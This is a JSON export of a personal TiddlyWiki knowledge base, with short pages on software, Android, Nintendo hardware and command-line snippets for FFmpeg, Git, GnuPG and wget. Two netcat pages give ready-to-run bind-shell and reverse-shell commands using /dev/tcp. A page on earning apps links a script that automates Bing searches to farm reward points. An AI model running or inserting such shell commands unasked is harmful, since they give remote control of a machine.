{"created":"20230205143148006","creator":"Octt","text":"\u003C\u003C\n\u003C!-- \u003C\u003CiFrameBypass \"https://www.gsmarena.com/xiaomi_redmi_9t-10670.php\">> --\n\u003C!-- \u003C\u003CiFrameBypass \"https://html.duckduckgo.com/html?q=! Redmi 9T site:gsmarena.com\">> --\n\u003C!-- \u003C\u003CiFrameBypass \"https://duckduckgo.com/\">> -->\n\n!!! ''Resources''\n\n* TWRP: (I have to find the old thread)\n\n!!!! ''Custom ROMs''","tags":"TODO Android","title":"Draft of 'Xiaomi Redmi 9T' by Octt","modified":"20230206224100596","modifier":"Octt","draft.title":"Xiaomi Redmi 9T","draft.of":"Xiaomi Redmi 9T"},
{"created":"20230206211907427","creator":"Octt","text":"Graphs of my earnings should be available soon.\n\n!!! ''Misc''\n\n!!!! ''[[Microsoft Rewards|https://rewards.bing.com/]]''\n\n; (At least in Italy, I don't know about other markets) MS Rewards lets you exchange points for [[Amazon]] gift cards:\n: 5€ = 7500 rp\n: 10€ = 15000 rp\n\n* https://octospacc.gitlab.io/pastebin/BingSpam.html - Script for completing the daily searches goal in Bing without doing searches by hand; Have been using it for months now, never got banned, it //should// be safe\n\n!!! ''Network traffic sharing''\n\n!!!! ''[[Earnapp|https://earnapp.com/i/4lef5dm]]''\n\nI haven't been using Earnapp for months now due to first technical issues on my side, then a bit of forgetfulness and also because the service isn't paying like it used to (traffic decreased).\n\n* [[EarnApp-Docker|https://github.com/fazalfarhan01/EarnApp-Docker]] - //Containerized version of BrightData's EarnApp//\n\n!!!! ''[[Honeygain|https://r.honeygain.me/OCTO870875]]''\n\nThe service is absolutely not paying like it used to nowaydays, sadly, does little traffic. Also be careful if using this, refrain from doing something that goes in the gray side of their ToS as they could ban you. Some people have been banned near reaching a payout; some also then unbanned after a while.\n\nHoneygain has a partnership with [[JumpTask|https://jumptask.io/]] so you can earn their crypto (BSC chain) token, and it's continuous, you don't have to reach payout targets. After months and months of evaluation, I think it's fair to say you only make a misery with JumpTask mode, as compared to normal mode.\n\n!!!! ''IPRoyal''\n\nThere was this service called IPRoyal (of which \"IPRoyal Pawns\" was the name of the side which pays users sharing traffic, \"IPRoyal\" is for who buys the traffic), which now seems to have changed name into [[Pawns.app|https://pawns.app/]] and include also surveys, not only network sharing. Never tried it either before or after the rebranding.\n\n!!!! ''[[PacketStream|https://packetstream.io/?psr=3BYD]]''\n\nI tried PacketStream for one or two days and saw it does a misery of traffic, not recommended.\n\n!!!! ''[[Peer2Profit|https://peer2profit.com/r/164287193361ec3c7d501a9/en]]''\n\nCurrently working ok. Has some issues on [[Vodafone]]'s mobile network, due to \"Vodafone Digital Privacy and Security\" thinking it is a malware and blocking the `api.peer2profit.global` API domain.\n\n* [[Peer2Profit-Docker|https://github.com/fazalfarhan01/Peer2Profit-Docker]] - //Containerized version of Peer2Profit//\n","tags":"","title":"Earning Resources","modified":"20230206222158713","modifier":"Octt"},
{"created":"20230113095118172","creator":"Octt","text":"''[[Eruda|https://eruda.liriliri.io]]'' is an open-source JavaScript applet for Web browsers, created to bring developer tools to those that lack them (like mobile ones). It provides the following features (from the project's README):\n\n* Console: Display JavaScript logs and run commands\n* Elements: Check the DOM's state\n* Network: Show requests status\n* Resources: Show localStorage and cookie information\n* Info: Show URL and user agent info\n* Snippets: Include snippets used most often\n* Sources: HTML/CSS/JS, source code viewer\n\n!!! ''More Resources''\n\n* Source Code and Documentation: [[github.com/liriliri/eruda|https://github.com/liriliri/eruda]]\n* \u003Ch3>➡️ \u003Ca href={{$:/ThirdParty/Eruda-Inject.bkjs}}>Inject Eruda into this page\u003C/a>\u003C/h3>","tags":"TODO App $:/i18n:en","title":"Eruda:en","modified":"20230206111552110","modifier":"Octt"},
{"created":"20230203215819913","creator":"Octt","text":"\u003C\u003CMediaWiki F-Droid en 2>>\n\n* https://f-droid.org/","tags":"Android App Repo Open $:/i18n:en","title":"F-Droid:en","modified":"20230206111552114","modifier":"Octt"},
{"created":"20230114124144464","text":"\u003C\u003CMediaWiki Fediverse en 1 Fediverse_logo_proposal.svg>>\n\n!! ''List of Platforms''\n\nExplore [[Fediverse Observer|https://hometown.fediverse.observer]], [[Fediverse.Party|https://fediverse.party]], or read below.\n\n!!! ''Media''\n\n* [[PeerTube|PeerTube:en]] - Video sharing\n* [[Pixelfed|Pixelfed:en]] - Image sharing\n\n!!! ''Microblogging''\n\n* [[GoToSocial|https://gotosocial.org]] - //Fast, fun, ActivityPub server, powered by Go//\n* [[Mastodon|Mastodon:en]] | [[Hometown|https://github.com/hometown-fork/hometown]] | [[glitch-soc|https://github.com/glitch-soc]]\n* [[Misskey|Misskey:en]] | [[Dolphin|https://github.com/syuilo/dolphin]]\n* [[Pleroma|https://pleroma.social]] | [[Akkoma|https://akkoma.social]] | [[Soapbox|https://soapbox.pub]]\n* [[Takahē|https://jointakahe.org]] - //An efficient ActivityPub Server, for small installs with multiple domains//\n\n!!! ''Other''\n\n* [[Epicyon|https://epicyon.net]] [[[Git|https://gitlab.com/bashrc2/epicyon]]] - //Designed for simplicity and accessibility, includes calendar, news and sharing economy features//\n* [[Friendica|Friendica:en]]\n* [[Lemmy|Lemmy:en]] [[[Git|https://github.com/ernestwisniewski/kbin]], [[Dev Instance|https://dev.karab.in]]] - //🐀 A link aggregator and forum for the fediverse//\n* [[/kbin|https://kbin.pub]] - //Fediverse of content//\n\n!!! ''Coming Soon''\n\n* [[Goldfish Social|https://github.com/Goldfish-Social/Goldfish]]","tags":"TODO $:/i18n:en","title":"Fediverse","modified":"20230206111552118","modifier":"Octt"},
{"created":"20221008141221923","text":"!! Flags\n\n* Specify an input file: `-i ${File}`\n* Framerate: `-r ${r}`, `-framerate ${r}` (//use both because one sometimes doesn't work//)\n\n\n!!! Filter Flags\n\n//These are specified by prefixing an argument://\n\n* Audio: `-filter:a` or `-af`\n* Video: `-filter:v` or `-vf`\n\n!!!! Audio Filters\n\n* Volume: `volume=`\n** `±{n}dB`: Adding or Subtracting to absolute value in dB\n** `{%/100}`: Target percentage divided by 100 (e.g: //150% -> 1.5//)\n\n* Detecting volume details: `volumedetect -f null /dev/null` (just prints to console)\n\n!!!! Video Filters\n\n* Scaling: `scale=${w}:${h}`\n* [[Cropping|https://video.stackexchange.com/questions/4563/how-can-i-crop-a-video-with-ffmpeg]]: `crop=${w}:${h}:${x}:${y}`\n\n\n!!! Audio/Video Flags\n\n//These are specified as `-flag:a` or `-flag:v`.//\n\n* Bitrate: `-b:{a|v} ${n}{k|m|...}`\n* Codec: `-c:{a|v} ${codec}`\n\n!!!! Audio Flags\n\n* Audio channels: `-ac ${n}`\n\n\n!! Codecs List\n\n!!! Special\n\n* `copy`: Copy data stream without re-encoding (if supported by container)\n\n!!! Audio Codecs\n\n* `libopus`\n\n!!! Video Codecs\n\n* `h263`, `h264`, `libx265`\n* `libvpx-vp8`, `libvpx-vp9`\n* `libaom-av1`\n\n\n!! Tips\n\n* [[Trim Video|https://shotstack.io/learn/use-ffmpeg-to-trim-video]]\n* [[Image+Audio -> Video|https://superuser.com/questions/1041816/combine-one-image-one-audio-file-to-make-one-video-using-ffmpeg]]","tags":"Snippets $:/i18n:en","title":"FFmpeg/Snippets","modified":"20230206111552123","modifier":"Octt"},
{"created":"20220923195125955","text":"''Free sharing'' is a philosophy founded on the belief that: every kind of information that is created to be publicly available has to be shareable by anyone without any restrictions.\n\nThe reasoning behind this philosophy is that the whole of humanity can benefit, in the long run, if each person creating works of culture puts aside their egoistic desires of wealth and power, and instead decides to explicitly allow anyone to freely share the works in question.\n\nPeople who believe in free sharing not only often choose to leave freedom of sharing what they create to the world, but also engage in mutual exchanges of public information that is officially not free (usually, hidden behind paywalls and/or licenses that don't allow redistribution).\n\nThis last kind of behavior is not to be confused with [[computer piracy]], which is a term indicating either the unauthorized redistribution of digital content with the main scope of monetary gain, and not the spirit of sharing for bettering humanity, or in general the perpetration of any illegal activity through the use of computer systems or regarding those.","tags":"$:/i18n:en","title":"Free sharing","modified":"20230206111552127","modifier":"Octt"},
{"created":"20230202232445340","creator":"Octt","text":"\u003C\u003CMediaWiki FreeDOS en 3>>","tags":"$:/i18n:en","title":"FreeDOS:en","modified":"20230206111552129","modifier":"Octt"},
{"created":"20230116202756249","text":"\u003C\u003CMediaWiki Video_game en 3>>\n","tags":"$:/i18n:en","title":"Gaming:en","modified":"20230206111552135","modifier":"Octt"},
{"created":"20230206194427467","creator":"Octt","text":"\u003C\u003CWikipediaFrame OpenAI#GPT en>>\n\n!!! ''Resources''\n\n* \u003C\u003CTwitterLink DYtweetshere/status/1617471632909676544 \"GPT is all you need for the backend\">> - [[[Paper|https://github.com/TheAppleTucker/backend-GPT]]]\n","tags":"AI LLM","title":"Generative Pre-trained Transformer","modified":"20230206195525971","modifier":"Octt"},
{"created":"20221018083042590","text":"!!! ''Commands (+ Flags/Tips)''\n\n* `clone ${URL}`: Clone (download) a repo to the computer storage\n** `--depth=${n}`: Explicitly specify how many commits to download (starting from latest)\n\n* `add ${Path}`: Update Git's internal list of tracked files. This should be issued (ideally for the root directory, `.`) before trying to commit after creating/deleting/moving/renaming files/folders.\n** A `.gitignore` file, containing a list of files or folder paths (one per line) can be created in a repo's root, to make the `add` command ignore those: they won't be tracked by Git, and thus won't be committed or pushed. Note: adding already tracked paths to `.gitignore` doesn't make it so they stop being tracked, they must be manually be deleted and then the `add` command issued again.\n\n* `config`\n** `credential.helper store`\n\n!!! ''Miscellaneous Flags''\n\n* `--global`: Apply a config command to the global user configuration (omitting applies to current directory if it is a Git repo)","tags":"Snippets $:/i18n:en","title":"Git/Snippets","modified":"20230206111552141","modifier":"Octt"},
{"created":"20230206190107127","creator":"Octt","text":"!!! ''Tools''\n\n* [[nightly.link|https://nightly.link]] - //Downloads the latest \"nightly\" build/artifact from a continuous testing workflow without logging in// - [[[Git|https://github.com/oprypin/nightly.link]]]","tags":"Git TODO","title":"GitHub","modified":"20230206190331716","modifier":"Octt"},
{"created":"20230130074305715","creator":"Octt","text":"\u003C\u003CMediaWiki GNOME en 2>>","tags":"$:/i18n:en","title":"GNOME:en","modified":"20230206111552143","modifier":"Octt"},
{"created":"20230130073302535","creator":"Octt","text":"\u003C\u003CMediaWiki GNU en 3>>","tags":"$:/i18n:en","title":"GNU:en","modified":"20230206111552145","modifier":"Octt"},
{"created":"20230130073428687","creator":"Octt","text":"\u003C\u003CMediaWiki GNU_Core_Utilities en 1>>","tags":"$:/i18n:en","title":"GNU/Coreutils:en","modified":"20230206111552147","modifier":"Octt"},
{"created":"20221105125144413","text":"!!! ''Commands (+ Flags/Tips)''\n* `--list-keys`: List installed keys.\n* `--import Public.pgp`: Import someone's public key.\n* `--gen-key`: Generate a new keypair, with default options.\n* `--full-generate-key`: Generate a new keypair, customizing all the options.\n* `--edit-key {FINGERPRINT}`: Edit the internal data of a key.\n* `--output Revoke.pgp --gen-revoke {FINGERPRINT}`: Generate and output the revoke certificate for a key.\n* `--output Public.pgp --export {USER@EMAIL}`: Export a public key file.\n* ⚠️ `--output Private.pgp --export-secret-key {USER@EMAIL}`: Export a private key file.\n* ⚠️ `--output BackupPrivate.pgp --export-secret-keys --export-options export-backup {USER@EMAIL}`: Export private key(s) in backup format.\n* `--import-options restore --import BackupPrivate.pgp`\n\n!!!! ''`--edit-key` Commands''\n* `list`: List identities of the keys.\n* `uid {n}`: Select an identity to operate on.\n* `notation`: Write new notations inside the key; Prepend a dash (`-`) when typing a notations to remove it from the key, if present; Type just `none` to delete all notations.\n* `save`: Write changes to the key and quit.\n\n!!!! ''`--export` Flags''\n* `--armor`: Explicitly export as ASCII-armored, aka in text format.\n\n!!! ''Configuration Options''\n\n//These are usually inserted one-per-line in `~/gpg.conf`.//\n\n* `keyserver {URL}`","tags":"Snippets $:/i18n:en","title":"GnuPG/Snippets","modified":"20230206111552149","modifier":"Octt"},
{"created":"20230113095521581","text":"\u003C\u003CMediaWiki Hacker_News en 2>>\n\n!! ''The Latest News''\n\n\u003C\u003CiFrameBypass \"https://news.ycombinator.com\">>\n","tags":"TODO $:/i18n:en","title":"Hacker News:en","modified":"20230206111552153","modifier":"Octt"},
{"created":"20220922204301052","text":"Interesting news I collect from the hacky tech Internet sphere (HN primarily, but not exclusively).\n\n* [[TOTP tokens on my wrist with the smartest dumb watch|https://blog.singleton.io/posts/2022-10-17-otp-on-wrist]]\n* [[Boeing 787s must be turned off and on every 51 days to prevent 'misleading data' being shown to pilots|https://www.theregister.com/2020/04/02/boeing_787_power_cycle_51_days_stale_data]]\n* [[Disposable Root Servers|https://blog.thc.org/disposable-root-servers]]\n* [[Neurons in a dish learn to play Pong — what’s next?|https://www.nature.com/articles/d41586-022-03229-y]]\n* [[retrowin32, a win32 emulator|https://neugierig.org/software/blog/2022/10/retrowin32.html]]\n* [[Ray Tracing In Notepad.exe At 30 FPS|http://kylehalladay.com/blog/2020/05/20/Rendering-With-Notepad.html]]\n* [[You can't buy a Raspberry Pi right now|https://www.jeffgeerling.com/blog/2022/you-cant-buy-raspberry-pi-right-now]]\n* [[7 Cool HTML Elements Nobody Uses|https://tapajyoti-bose.medium.com/7-cool-html-elements-nobody-uses-436598d85668]]\n* [[Despite faster broadband every year, web pages don't load any faster|https://www.datafantic.com/how-much-time-do-we-waste-waiting-for-websites-to-load]] [//[[c|https://readhacker.news/c/5mBGU]]//]\n* [[Avoiding homework with code (and getting caught)|https://alistair.blog/mochip]] [//[[c|https://readhacker.news/c/5mBHL]]//]\n* [[Show HN: I made an open-source Bitly alternative|https://readhacker.news/c/5mzDH]]\n* [[If the Moon Were Only 1 Pixel (2014)|https://readhacker.news/c/5myKf]]","tags":"Reading Tech $:/i18n:en","title":"Hacking News","modified":"20230206111552156","modifier":"Octt"},
{"created":"20230202224901337","creator":"Octt","text":"\u003C\u003CWikipediaFrame HTML en>>","tags":"$:/i18n:en","title":"HTML:en","modified":"20230206111552159","modifier":"Octt"},
{"created":"20230205143543756","creator":"Octt","text":"","tags":"TODO Android","title":"Huawei P9 Lite Mini","modified":"20230205143617655","modifier":"Octt"},
{"created":"20220923132359163","text":"The [[Internet Archive|https://archive.org]] is a website serving as free archive of digital items, with the intent of cultural preservation.\n\n[img[https://upload.wikimedia.org/wikipedia/commons/8/84/Internet_Archive_logo_and_wordmark.svg]]\n\nThe non-profit library is also known for its [[Wayback Machine|Wayback Machine:en]] service.","tags":"Archiving Internet $:/i18n:en","title":"Internet Archive:en","modified":"20230206111552163","modifier":"Octt"},
{"created":"20220927210105087","text":"Source: https://blog.archive.org/2012/04/26/downloading-in-bulk-using-wget\n\n!!! Prerequisites\n\n# Obtain [[Wget|https://www.gnu.org/software/wget]];\n\n# (Optional) For large collections, Install \"Copy Selected Links\" extension [[For Firefox|https://addons.mozilla.org/en-US/firefox/addon/copy-selected-links]];\n\n!!! Action\n\n# In a text file, Write a list of all item ids to be downloaded (the part after `/details/` in the URL);\n\n## Easy way to do this for collections: Select all links in the browser, Right-Click > Copy selected links, Paste in a text editor, Find all instances of `https://archive.org/details/`, replace with //nothing//, Save.\n\n# Use the following command:\n```sh\nwget -r -H -nc -np -nH --cut-dirs=1 -e robots=off -l1 -i \u003CPath-to-text-file> -B 'http://archive.org/download/'\n```\n\n!!!! Useful arguments\n\n* Whitelist or Blacklist mode for list of extensions (preceded by `.` (dot), separated by `,` (comma); Example: `.avif,.7z`)\n** `-A \u003CExtensions>`: Whitelist\n** `-R \u003CExtensions>`: Blacklist","tags":"Snippets $:/i18n:en","title":"Internet Archive/Download bulk items (Wget)","modified":"20230206111552166","modifier":"Octt"},
{"created":"20230203214625941","creator":"Octt","text":"\u003C\u003CMediaWiki Internet en 4>>","title":"Internet:en","modified":"20230206111552169","modifier":"Octt","tags":"$:/i18n:en"},
{"created":"20221107192628249","creator":"Octt","text":"''ISO 8601'' is a date/time format standard designed for international adoption, by featuring a logical, unambiguous notation.\n\nIt was first published in 1988, but got some revisions in following years.\n\nIts complete form is the following, but the standard allows for dashes (`-`), colons (`:`), and the final time zone indicator to be omitted:\n\n`YYYY-MM-DD`T`hh:mm:ss`+hh:mm","tags":"Standard $:/i18n:en","title":"ISO 8601:en","modified":"20230206111552172","modifier":"Octt"},
{"created":"20221110145611678","text":"''JavaScript'', or \"JS\", is an high-level programming language. It constitutes a core technology of the Web, sitting optionally alongside HTML and CSS. In recent years, it has gotten more and more popular even for desktop app and backend development.","tags":"Development Internet $:/i18n:en","title":"JavaScript:en","modified":"20230206111552174","modifier":"Octt"},
{"created":"20220923152137538","text":"[[johncena141|https://github.com/jc141x]] (jc141) is specialized in the field of compiling and distributing free repacks of current PC games for GNU+Linux.\n\nBefore their arrival to the GNU+Linux gaming scene in 2020-2021, obtaining known-safe and working repacks of games for the platform was a challenge, with native Linux repacks being almost impossible to find and Windows ones often not working.\n\nIn just about a year, johncena141 has become the most trusted repacker among GNU+Linux gamers, by putting the focus of their work directly and exclusively on GNU+Linux, as well as proving transparency and efficiency in their operations.","tags":"Gaming $:/i18n:en","title":"johncena141:en","modified":"20230206111552176","modifier":"Octt"},
{"created":"20230202225750547","creator":"Octt","text":"\u003C\u003CWikipediaFrame JSON en >>","tags":"$:/i18n:en","title":"JSON:en","modified":"20230206111552177","modifier":"Octt"},
{"created":"20230130074356424","creator":"Octt","text":"\u003C\u003CMediaWiki KDE en 3>>","tags":"$:/i18n:en","title":"KDE:en","modified":"20230206111552179","modifier":"Octt"},
{"created":"20221104183123144","text":"''Keyoxide'' is a libre, self-hostable tool to create and verify online identities, like different profiles, through cryptography.\n\n* Website, docs, and official instance: https://keyoxide.org\n* Source code: https://codeberg.org/keyoxide","tags":"$:/i18n:en","title":"Keyoxide:en","modified":"20230206111552181","modifier":"Octt"},
{"created":"20230203224049687","creator":"Octt","text":"\u003C\u003CMediaWiki Knowledge_base en 2>>","tags":"$:/i18n:en","title":"Knowledge Base:en","modified":"20230206111552183","modifier":"Octt"},
{"created":"20230202230215526","creator":"Octt","text":"\u003C\u003CMediaWiki LineageOS en 2>>\n\n* https://lineageos.org/","tags":"Android","title":"LineageOS","modified":"20230206205451676","modifier":"Octt"},
{"created":"20230111153758951","creator":"Octt","text":"\u003C\u003CMediaWiki Linux en 5>>","tags":"TODO $:/i18n:en UNIX","title":"Linux:en","modified":"20230206222432039","modifier":"Octt"},
{"created":"20230111114229130","creator":"Octt","text":"* ''2023-01-10'' \u003Cdiv>\n\n; \"This group is unavailable due to copyright infringement.\"\n: I commenti erano appena stati attivati sul canale Telegram Animali_Crostini, tramite un gruppo chiamato \"//This group is unavailable due to copyright infringement//\", per scherzare sui modi di fare in generale di Nintendo contro chi viola il copyright. Intanto su [[spacctorium]] si stava discutendo di argomenti che potrebbero essere visti come violazione dei copyright (non di Nintendo). Ad un certo punto, noto un commento di L. nel gruppo del canale di Animali_Crostini, e invio una reazione come risposta. A quel punto, L. riceve una notifica desktop con il pauroso nome del gruppo, e l'anteprima del mio messaggio; immediatamente fa un avviso raffazzonato su spacctorium (senza porsi domande su perché fosse ancora visibile col nome normale) e scappa via, per poi scrivermi in privato. Ha creduto per un momento qualcosa di assurdo: che da ora Telegram faccia analisi in tempo reale dei messaggi per individuare violazioni di copyright. Ho dovuto spiegargli io la situazione. ''TLDR'': È avvenuto del trolling pesantissimo, ma involontario.\n","tags":"$:/i18n:it TODO","title":"Lista incidenti","modified":"20230206111646496","modifier":"Octt"},
{"created":"20230130081007594","creator":"Octt","text":"\u003C\u003CMediaWiki LXQt en 2>>","tags":"$:/i18n:en","title":"LXQt:en","modified":"20230206111552192","modifier":"Octt"},
{"created":"20230206204533684","creator":"Octt","text":"\u003C\u003CMediaWiki Magisk_(software) en 2>>","tags":"Android","title":"Magisk","modified":"20230206204626586","modifier":"Octt"},
{"created":"20230130144734146","creator":"Octt","text":"\u003C\u003CWikipediaFrame Mario_Kart en >>","tags":"Retro Nintendo $:/i18n:en Game","title":"Mario Kart:en","modified":"20230206203924222","modifier":"Octt"},
{"created":"20230110220005274","text":"\u003C\u003CMediaWiki Mastodon_(social_network) en 3>>","tags":"Fediverse TODO $:/i18n:en","title":"Mastodon:en","modified":"20230206111552198","modifier":"Octt"},
{"created":"20220923130111988","creator":"Octt","text":"[[MeBoy|http://arktos.se/meboy]] is a libre (GPLv2) [[Game Boy|Game Boy:en]] (and Game Boy color) emulator for the [[J2ME|J2ME:en]] platform.","tags":"Emulation Gaming Nintendo [[Game Boy]] Open $:/i18n:en","title":"MeBoy:en","modified":"20230206111552202","modifier":"Octt"},
{"created":"20230112112905496","text":"\u003C\u003CMediaWiki MediaWiki en 4>>\n\n!! ''Resources''\n\n!!! ''Development''\n\n* \u003C\u003CExtMediaWikiAnchor \"API:Get_the_contents_of_a_page\" mediawiki.org>>","tags":"TODO $:/i18n:en","title":"MediaWiki:en","modified":"20230206111552204","modifier":"Octt"},
{"created":"20220923104738517","text":"[[melonDS|https://melonds.kuribo64.net]] is (sort of) a libre [[Nintendo DS|Nintendo DS:en]] emulator.\n\n[img[https://raw.githubusercontent.com/melonDS-emu/melonDS/master/res/icon/melon_128x128.png]]\n\nOver the years of development, the emulator had time to become a mature melon.\n\nToday, while it still needs a lot of work before being complete, it's considered the best NDS emulator available, at least on PC.","tags":"Emulation Nintendo NDS Gaming $:/i18n:en","title":"melonDS:en","modified":"20230206111552207","modifier":"Octt"},
{"created":"20230112215325845","text":"\u003C\u003CMediaWiki Microsoft en 1>>","tags":"TODO $:/i18n:en","title":"Microsoft:en","modified":"20230206111552209","modifier":"Octt"},
{"created":"20230130081056391","creator":"Octt","text":"\u003C\u003CMediaWiki Midnight_Commander en 2>>","tags":"$:/i18n:en","title":"Midnight Commander:en","modified":"20230206111552211","modifier":"Octt"},
{"created":"20230110220407274","text":"\u003C\u003CMediaWiki Miiverse en 3>>","tags":"Internet Nintendo TODO $:/i18n:en","title":"Miiverse:en","modified":"20230206111552214","modifier":"Octt"},
{"created":"20221202225134930","text":"[[Misskey|https://misskey-hub.net/en]] is an open, semi-decentralized social media platform. Decentralization is founded on the [[ActivityPub|ActivityPub:en]] protocol.\n\n[img[https://raw.githubusercontent.com/misskey-dev/misskey/develop/assets/title_float.svg]]","tags":"Fediverse $:/i18n:en","title":"Misskey:en","modified":"20230206111552223","modifier":"Octt"},
{"created":"20230206114218720","creator":"Octt","text":"List of some mobile games to keep in mind.\n\n* Angry Birds\n* Jetpack Joyride\n* krassesSpiel\n* Subway Surfers\n* Temple Run\n* Zombie Tsunami","tags":"Gaming","title":"Mobile Games","modified":"20230206211419055","modifier":"Octt"},
{"created":"20221202224129631","text":"From https://unix.stackexchange.com/a/345628:\n\nRun on host to spawn a network-attached shell (requires bash due to coproc):\n\n```bash\ncoproc netcat -l -p $PORT\nexec bash \u003C&${COPROC[0]} >&${COPROC[1]} 2>&1\n```\n\nRun on client to connect to host:\n\n```sh\nnc $ADDRESS $PORT\n```","tags":"Snippets $:/i18n:en","title":"netcat/Normal Shell","modified":"20230206111552224","modifier":"Octt"},
{"created":"20220926095309988","text":"0. Run on master (requires netcat):\n\n```sh\nnc -l -vv -p $PORT\n```\n\n1. Run on slave:\n\n```sh\nbash -i &> /dev/tcp/$ADDRESS/$PORT 0>&1\n```","tags":"Snippets $:/i18n:en","title":"netcat/Reverse Shell","modified":"20230206111552227","modifier":"Octt"},
{"created":"20220923110724649","creator":"Octt","text":"''Nintendo DS'' is a family of portable game consoles created by [[Nintendo|Nintendo:en]], succeding and preceding the GBA and 3DS families respectively.\n\n\u003C\u003CLImg \"https://web.archive.org/web/20220923111238/http://pbs.twimg.com/media/E5An_LGVkAQv9ol?format=jpg&name=large\" \"https://twitter.com/HugeNintendoDS/status/1409670660402466819?cxt=HHwWhsCiueb_k5AnAAAA\">>","title":"Nintendo DS:en","modified":"20230206111552230","tags":"Gaming Nintendo NDS Console $:/i18n:en","modifier":"Octt"},
{"created":"20221018215927772","text":"!! ''Moved''\n\nMoved to https://cryptpad.devol.it/sheet/#/2/sheet/view/kcmKvZ03cftF2U9SMlMk8m4s5XRVIVkb0SZTZIDqvL8/embed/\n\n\u003Cdel>\n\n!!! ''Licensed Games''\n\n* ''Animal Crossing: Wild World'' • Top screen is required to see stars, flying balloons, and Gulliver. It also shows the title screen logo, and the 3D world when a menu is open. All gameplay, dialogues, and menus are on the bottom screen, and the stylus or the buttons can be used interchangeably.\n\n* ''Kirby: Mass Attack'' • Top screen shows title screen logo, some tooltips in game, and stats (level name, points, fruits, Kirbys, medals). Gameplay and menus are on bottom screen, and only controlled with the stylus.\n\n* ''Kirby: Power'' Paintbrush\n\n* [Patch] ''New Super Mario Bros.'' (Macro-Friendly)\n\n* [Partially] ''Nintendogs''\n\n* ''Picross 3D'' • Top screen holds text like menu details and guides (like the tutorials), and puzzle overviews (in the selection menu and while playing), with details and time. The gameplay itself is on the bottom screen, and requires stylus and D-Pad/ABXY. To play without a top screen, it's effectively necessary to learn the unique game mechanics elsewhere (like in video gameplays).\n\n* ''Picross DS'' • Top screen has some text, for menu items details, tutorials and explanations, overwiew of puzzles in the selection menu, and their status (as well as time) while playing them. Gameplay is on the bottom screen, and requires either the D-Pad, A, B buttons, or the stylus (as well as START to access the pause menu).\n\n* ''Pokemon Dash''\n\n* [?] ''Pokemon Link!''\n\n* ''Puyo Puyo!! 20th anniversary'' • Top screen has details for menu entries, some secondary dialogues (the story ones happen on the bottom), points and results, and decorative in-game character animations. Menus can be navigated with either the buttons or the touch screen; gameplay happens on the bottom screen with D-Pad and A/B buttons.\n\n* [?] ''Puzzle League DS''\n\n* ''Tetris DS''\n\n* ''The Legend of Zelda: Phantom Hourglass''\n\n* [?] ''The Legend of Zelda - Spirit Tracks''\n\n* [?] ''Tingle no Balloon Fight DS''\n\n* [?] ''WarioWare: Do It Yourself''\n\n* [?] ''WarioWare: Touched!''\n\n\n!!! ''Licensed Apps''\n\n* ''Nintendo DS Browser'' • Top screen shows software logos, current URL, WiFi signal status, loading animation, count of loaded/total page elements, random and contextual tooltips, and page scrollback buffer. Menu and web navigation happen entirely on the bottom screen, except when Panorama Mode (desktop view) is enabled. Navigation happens primarily with the stylus; buttons are supported only for some operations.\n\n\n!!! ''Homebrew Games''\n\n\n\n\n!!! ''Homebrew Apps''\n\n* ''Colors! DS'' • Top screen shows app logo while in the main menu, buttons legend while drawing, and the current drawing when opening a menu or optionally always. The touch screen is needed to select menu items, draw, and calibrate the digitizer; buttons are needed to operate drawing tools (moving, zooming, color picker, undo).\n\n\u003C/del>","tags":"Nintendo NDS Gaming $:/i18n:en","title":"Nintendo DS/Software Requiring Only the Bottom Screen","modified":"20230206111552237","modifier":"Octt"},
{"created":"20230202104823127","creator":"Octt","text":"\u003C\u003CMediaWiki Nintendo_Entertainment_System en 3>>","tags":"Nintendo Gaming $:/i18n:en","title":"Nintendo Entertainment System","modified":"20230206111552243","modifier":"Octt"},
{"created":"20220925130302833","creator":"Octt","text":"''Nintendo Switch'' is a family of portable game consoles created by [[Nintendo|Nintendo]]. It is notorius for being made of [[papier-mâché|Papier-mâché]], essentially suffering from a variety of structural problems.\n\n\u003C\u003CLImg \"https://i.ytimg.com/vi_webp/Cb-srOfRqNc/maxresdefault.webp\" \"https://youtu.be/Cb-srOfRqNc\">>\n\nThe console's introduction was hyped due to it being the first ever Nintendo console to be created with both home and portable use in mind. The name itself comes from the fact that the console can //switch//, from being connected to a TV to being able to be used standalone.\n\n!! ''Homebrew''\n\n* Alternative OSes: [[Ubuntu]] and [[LineageOS]] by ''[[switchroot|https://switchroot.org/]]''","tags":"Nintendo Gaming NX Console","title":"Nintendo Switch","modified":"20230206192820604","modifier":"Octt"},
{"created":"20230110214847556","text":"''[[Nitter|https://github.com/zedeus/nitter]]'' is a free and open source alternative [[Twitter|Twitter:en]] front-end focused on privacy and performance.\n\nQuoting from the project's README:\n\n\u003C\u003C\u003C\nInspired by the Invidious project.\n\n* No JavaScript or ads\n* All requests go through the backend, client never talks to Twitter\n* Prevents Twitter from tracking your IP or JavaScript fingerprint\n* Uses Twitter's unofficial API (no rate limits or developer account required)\n* Lightweight (60KB vs 784KB from twitter.com)\n* RSS feeds\n* Themes\n* Mobile support (responsive design)\n* AGPLv3 licensed, no proprietary instances permitted\n\u003C\u003C\u003C\n","tags":"Internet $:/i18n:en","title":"Nitter:en","modified":"20230206111552254","modifier":"Octt"},
{"created":"20230203222119146","creator":"Octt","text":"\u003C\u003CMediaWiki NodeMCU en 1>>\n\n* https://www.nodemcu.com/index_en.html","tags":"MCU $:/i18n:en","title":"NodeMCU:en","modified":"20230206111552260","modifier":"Octt"},
{"created":"20230202110151955","creator":"Octt","text":"\u003C\u003CMediaWiki NumWorks en 3>>","tags":"$:/i18n:en","title":"NumWorks:en","modified":"20230206111552271","modifier":"Octt"},
{"created":"20230206204149478","creator":"Octt","text":"''Octt'', aka ''OctoSpacc'', or ''Andrea'', is me, the living entity who primarily maintains the [[OcttKB]]. I am powered by a natural neural network, in case that wasn't obvious.\n\n\u003C!--\nSome info about me should go here, I suppose, so here are some points:\n*\n\nNot much else for now. -->\n\nNo info about me here for now. Tough luck. Maybe go read the about page on my [[sitoctt]] in the meantime: https://sitoctt.octt.eu.org/Chi-Sono.html","tags":"","title":"Octt","modified":"20230206204924047","modifier":"Octt"},
